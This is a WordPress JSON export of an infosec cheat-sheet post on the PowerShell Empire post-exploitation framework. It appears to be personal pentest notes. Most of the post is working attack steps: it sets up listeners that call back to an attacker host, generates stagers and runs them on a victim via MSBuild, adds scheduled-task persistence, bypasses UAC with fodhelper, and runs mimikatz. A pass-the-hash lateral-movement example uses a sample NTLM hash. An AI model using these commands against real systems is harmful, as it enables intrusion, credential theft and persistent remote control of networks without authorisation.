{"id":1242,"date":"2020-04-17T09:09:16","date_gmt":"2020-04-17T07:09:16","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1242"},"modified":"2023-12-20T20:48:17","modified_gmt":"2023-12-20T19:48:17","slug":"powershell-empire","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1242","title":{"rendered":"PowerShell Empire"},"content":{"rendered":"\n

Main\u00adly post exploita\u00adtion for AD<\/span> envi\u00adron\u00adments. (Down\u00adload<\/a> \u2014 also includ\u00aded in Kali sources)<\/p>\n\n\n\n

Quick usage for privilege escalation<\/h2>\n\n\n\n
    \n
  1. Cre\u00adate a listener. 
      \n
    1. listeners<\/code><\/li>\n\n\n\n
    2. uselistener http<\/code><\/li>\n\n\n\n
    3. set Host $localIp<\/code><\/li>\n\n\n\n
    4. set Port 8080<\/code><\/li>\n<\/ol>\n\n\n\n
        \n
      1. execute<\/code><\/li>\n\n\n\n
      2. back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n
      3. Cre\u00adate a payload. 
          \n
        1. usestager windows\/launcher_bat<\/code> (or _vbs, _xml, \u2026)<\/li>\n\n\n\n
        2. set Listener http<\/code><\/li>\n\n\n\n
        3. execute<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n
        4. Copy the cre\u00adat\u00aded pay\u00adload to the target.<\/li>\n\n\n\n
        5. (Let) exe\u00adcute it on the target.<\/li>\n\n\n\n
        6. Rename the listener. 
            \n
          1. listeners<\/code><\/li>\n\n\n\n
          2. interact $listenername<\/code><\/li>\n\n\n\n
          3. rename $bettername<\/code><\/li>\n\n\n\n
          4. back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n
          5. Start back\u00adground tak on the tar\u00adget for persistance. 
              \n
            1. usemodule powershell\/persistence\/userland\/schtasks<\/code><\/li>\n\n\n\n
            2. set Agent $agentname<\/code><\/li>\n\n\n\n
            3. set Listener http<\/code><\/li>\n\n\n\n
            4. set IdleTime 3<\/code><\/li>\n\n\n\n
            5. run<\/code><\/li>\n\n\n\n
            6. back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n
            7. Now start to work\u2026 
                \n
              1. Start with usemodule privesc\/powerup\/allchecks<\/code> \u2026<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n\n\n\n

                General usage<\/h2>\n\n\n\n

                Metas\u00adploit syn\u00adtax \/ PSE<\/span> syntax<\/p>\n\n\n\n

                  \n
                • use multi\/handler \/ lis\u00adten\u00aders &<\/span> uselis\u00adten\u00aders <TAB<\/span>> &<\/span> uselis\u00adten\u00aders http<\/li>\n\n\n\n
                • run \/ execute<\/li>\n\n\n\n
                • ses\u00adsions \/ agents<\/li>\n\n\n\n
                • use \/ usemodule<\/li>\n\n\n\n
                • rename CWS<\/span>\u2026 newname<\/li>\n\n\n\n
                • ses\u00adsions \u2011i $id \/ inter\u00adact $id\n
                    \n
                  • down\u00adload<\/li>\n\n\n\n
                  • upload<\/li>\n\n\n\n
                  • mimikatz<\/li>\n\n\n\n
                  • shell\u00adsys\u00adin\u00adfo<\/li>\n\n\n\n
                  • ps<\/li>\n\n\n\n
                  • migrate $pid \/ psin\u00adject $lis\u00adten\u00ader $pid (ex. psin\u00adject http $pid) <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n

                    Note: After use\u00admod\u00adule<\/strong> don\u2019t for\u00adget to go \u201cback<\/strong>\u201d and to \u201cinter\u00adact<\/strong>\u201d with the agent to see job results!<\/p>\n\n\n\n

                    Com\u00admands with an aster\u00adix require a high-integri\u00adty Empire Agent.<\/strong> To upgrade one which is cur\u00adrent\u00adly an Admin\u00adis\u00adtra\u00adtor, use powershell\/privesc\/bypassuac_fodhelper before run\u00adning a com\u00admand marked with an asterix.<\/p>\n\n\n\n

                    Lateral movement<\/h2>\n\n\n\n

                    Use one of the mod\u00adules in powershell\/lateral_movement.<\/p>\n\n\n\n

                    (Empire: powershell\/lateral_movement\/invoke_smbexec) > set ComputerName JEFF\n(Empire: powershell\/lateral_movement\/invoke_smbexec) > set Listener http\n(Empire: powershell\/lateral_movement\/invoke_smbexec) > set Username nicky\n(Empire: powershell\/lateral_movement\/invoke_smbexec) > set Hash b40c7060e1bf68227131564a1bf33d48\n(Empire: powershell\/lateral_movement\/invoke_smbexec) > set Domain corp.com\n(Empire: powershell\/lateral_movement\/invoke_smbexec) > execute<\/pre>\n\n\n\n
                    Switching to Metasploit<\/h2>\n\n\n\n
                    Cre\u00adate a meter\u00adpreter pay\u00adload, upload it in Empire and exe\u00adcute it with shell C:\\\u2026\\payload.exe.<\/p>\n\n\n\n
                    Oth\u00ader way around: Cre\u00adate a lis\u00adten\u00ader in Empire and upload it in a meter\u00adpreter session.<\/p>\n\n\n\n
                    Upgrading a normal shell<\/h2>\n\n\n\n
                      \n
                    1. lis\u00adten\u00aders<\/li>\n\n\n\n
                    2. uselis\u00adten\u00ader http<\/li>\n\n\n\n
                    3. set Host \/\/$localIp<\/li>\n\n\n\n
                    4. exe\u00adcute<\/li>\n\n\n\n
                    5. uses\u00adtager windows\/launcher_xml<\/li>\n\n\n\n
                    6. set Lis\u00adten\u00ader http<\/li>\n\n\n\n
                    7. exe\u00adcute<\/li>\n\n\n\n
                    8. Upload the gen\u00ader\u00adat\u00aded launcher.xml file to the victim<\/li>\n\n\n\n
                    9. Exe\u00adcute it on the vic\u00adtim as fol\u00adlows: 
                      C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\/MSBuild.exe launcher.xml<\/pre><\/li>\n<\/ol>\n\n\n\n
                      Persistence<\/h2>\n\n\n\n
                      If you are using the powershell\/persistence\/userland\/schtasks<\/code> mod\u00adule to archieve per\u00adsis\u00adtence, try to use the attribute Idle\u00adTime. This cre\u00adates a new agent each n minutes.<\/p>\n","protected":false},"excerpt":{"rendered":"
                      Main\u00adly post exploita\u00adtion for AD<\/span> envi\u00adron\u00adments. (Down\u00adload \u2014 also includ\u00aded in Kali sources) Quick usage for priv\u00adi\u00adlege esca\u00adla\u00adtion Gen\u00ader\u00adal usage Metas\u00adploit syn\u00adtax \/ PSE<\/span> syn\u00adtax Note: After use\u00admod\u00adule don\u2019t for\u00adget to go \u201cback\u201d and to \u201cinter\u00adact\u201d with the agent to see job results! Com\u00admands with an aster\u00adix require a high-inte\u00adgri\u00ad\u00adty Empire Agent. To upgrade one [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471,472,473,474,475],"tags":[252,183,56,24],"class_list":["post-1242","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","category-postexp","category-persistence","category-lateral-movement","category-attack-tool","tag-empire","tag-powershell","tag-reverse-shell","tag-windows"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1242"}],"version-history":[{"count":16,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242\/revisions"}],"predecessor-version":[{"id":3706,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242\/revisions\/3706"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}